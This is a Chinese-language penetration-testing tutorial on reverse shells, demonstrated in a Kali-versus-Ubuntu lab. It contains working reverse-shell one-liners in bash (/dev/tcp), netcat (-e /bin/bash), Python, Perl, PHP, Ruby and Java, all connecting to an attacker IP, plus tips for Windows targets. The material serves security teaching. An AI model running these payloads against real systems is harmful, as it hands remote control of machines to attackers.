反弹shell(reverse shell),就是控制端监听在某TCP/UDP端口,被控端发起请求到该端口,并将其命令行的输入输出转到控制端。reverse shell与telnet,ssh等标准shell对应,本质上是网络概念的客户端与服务端的角色反转。
为什么要反弹shell?
通常用于被控端因防火墙受限、权限不足、端口被占用等情形。举例:假设我们攻击了一台机器,打开了该机器的一个端口,攻击者在自己的机器去连接目标机器(目标ip:目标机器端口),这是比较常规的形式,我们叫做正向连接。远程桌面、web服务、ssh、telnet等等都是正向连接。那么什么情况下正向连接不能用了呢?
比如以下的情况:
那么反弹就很好理解了,攻击者指定服务端,受害者主机主动连接攻击者的服务端程序,就叫反弹连接。
Linux中一般默认的 Shell 是 bash,它功能几乎可以涵盖 Shell 所具有的功能,所以一般的 Shell 脚本都会指定它为执行路径。常用的 Shell有 ash、bash、dash、ksh、csh、zsh 等,不同的 Shell 都有自己的特点以及用途。Bash 反弹 Shell 是最简单、也是最常见的一种反弹 Shell 方式。
主机 | IP地址 |
---|---|
Ubuntu 虚拟机 | 192.168.43.221 |
Kali Linux 攻击机 | 192.168.43.133 |
1、首先在 Kali 攻击机使用 Netcat 监听本地 8081 端口:
2、在 Ubuntu 靶机中写入 反弹 shell 的命令:bash -i >& /dev/tcp/192.168.43.133/8081 0>&1
,如图所示:
3、此时 Kali 攻击机即可成功反弹 shell:
4、关闭 Ubuntu 的命令终端窗口,以上会话自动断开连接:
命令 | 解析 |
---|---|
nc -lvp 8081 | nc 是 netcat 的简写,可实现任意TCP/UDP端口的侦听;-l 监听,-v 输出交互或出错信息,-p 端口 |
bash -i | -i interactive,即产生一个交互式的shell(bash)。 |
/dev/tcp/IP/PORT | 特殊设备文件(Linux一切皆文件),实际这个文件是不存在的,它只是 bash 实现的用来实现网络请求的一个接口。打开这个文件就相当于发出了一个socket调用并建立一个socket连接,读写这个文件就相当于在这个socket连接中传输数据。 |
其实以上bash反弹一句完整的解读过程就是:
Bash 产生了一个交互环境与本地主机主动发起与目标主机 8081 端口建立的连接(即TCP 8081 会话连接)相结合,然后在重定向个 TCP 8081会话连接,最后将用户键盘输入与用户标准输出相结合再次重定向给一个标准的输出,即得到一个 bash 反弹环境。
Bash反弹Shell的深层原理分析可参考以下博文:
1、Linux之bash反弹shell原理浅析;
2、Linux反弹shell(一)文件描述符与重定向。
在网络工具中有 “瑞士军刀” 美誉的 NetCat, 在我们用了N年了至今仍是爱不释手,不管是渗透还是取证,100KB的小身板却蕴含着巨大的能量。 今天我们来简单研究下如何使用 nc 反弹shell。
Netcat 正向反弹shell是在靶机上监听端口,然后攻击者连接;反向反弹shell 是在攻击者主机上监听端口,然后靶机连接。先来看看正向反弹:
2、在 Kali 攻击机上连接靶机的端口:nc 192.168.43.221 7777
3、此时 Ubuntu 靶机上显示连接成功:
4、此时 Kali 攻击机已反弹获得 Ubuntu 靶机的 Shell,可执行测试命令如下:
上面已经说了,nc 反向反弹shell 是在攻击者主机上监听端口,然后靶机连接。下面进行实例演示:
2、在 Ubuntu 靶机上执行命令连接 Kali 攻击机:nc -e /bin/bash 192.168.43.133 6666
3、此时 Kali 攻击机即可获得反弹 Shell,执行测试命令如下:
【进阶】 以上是针对 Linux 操作系统的反弹 Shell 的方式,如果目标是windows系统,只需要把
/bin/bash
换成cmd.exe
绝对路径即可,当然这个cmd.exe
可以是C:\Windows\System32\cmd.exe
,亦可以是通过webshell上传的cmd.exe,实战的话后者更多一点。
Netcat 被用作网络的测试工具或黑客工具,使用它你可以轻易的建立任何连接,同时它还内建有很多实用的工具。 nc 除了以上创建反弹 Shell (或者说是创建后门)的功能外,还可以进行文件传输、加密流量等。Netcat 的更多使用方法可以参考其他博文:
(1) NetCat使用指南;
(2)10 个例子教你学会 ncat (nc) 命令 。
有一种现实的情况是,现实的受害主机可能不会给你提供 netcat 的环境,你也不会那么轻易成功将 nc 上传至靶机,所以更多的情况需要你就地取材,网上有大佬整理了各种版本的反弹 shell 的脚本语言写法,在此借鉴:
1、Python版本:
python -c "import os,socket,subprocess;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect(('ip',port));os.dup2(s.fileno(),0);os.dup2(s.fileno(),1);os.dup2(s.fileno(),2);p=subprocess.call(['/bin/bash','-i']);"
2、Perl版本:
perl -e 'use Socket;$i="192.168.10.13";$p=8888;socket(S,PF_INET,SOCK_STREAM,getprotobyname("tcp"));if(connect(S,sockaddr_in($p,inet_aton($i)))){open(STDIN,">&S");open(STDOUT,">&S");open(STDERR,">&S");exec("/bin/sh -i");};'
3、PHP版本:
php -r '$sock=fsockopen("192.168.10.13",8888);exec("/bin/sh -i <&3>&3 2>&3");'
4、Ruby版本:
ruby -rsocket -e'f=TCPSocket.open("192.168.10.13",8888).to_i;exec sprintf("/bin/sh -i <&%d>&%d 2>&%d",f,f,f)'
5、Java版本:
r = Runtime.getRuntime() p = r.exec(["/bin/bash","-c","exec 5<>/dev/tcp/192.168.10.13/8888;cat <&5 2="" |="" while="" read="" line;="" do="" \$line="">&5 >&5; done"] as String[]) p.waitFor()
下面演示一下 Python 脚本语言反弹 Shell 的方法:
1、首先使用 nc 在 Kali 上监听端口:
2、在 Ubuntu 虚拟机下使用 Python 脚本去反向连接,如下:
3、此时 Kali 终端即可获得 Shell:
最后说一下,我们也可以使用 Kali 的 MSF 框架生成的木马来反弹 Shell,可参考我的另一篇博文:渗透测试-Kali入侵Win7主机。
另外关于内网渗透,除了反弹 Shell 还经常涉及 端口转发 和 正向代理 的概念,读者可参见另一篇博文:内网渗透-正向代理。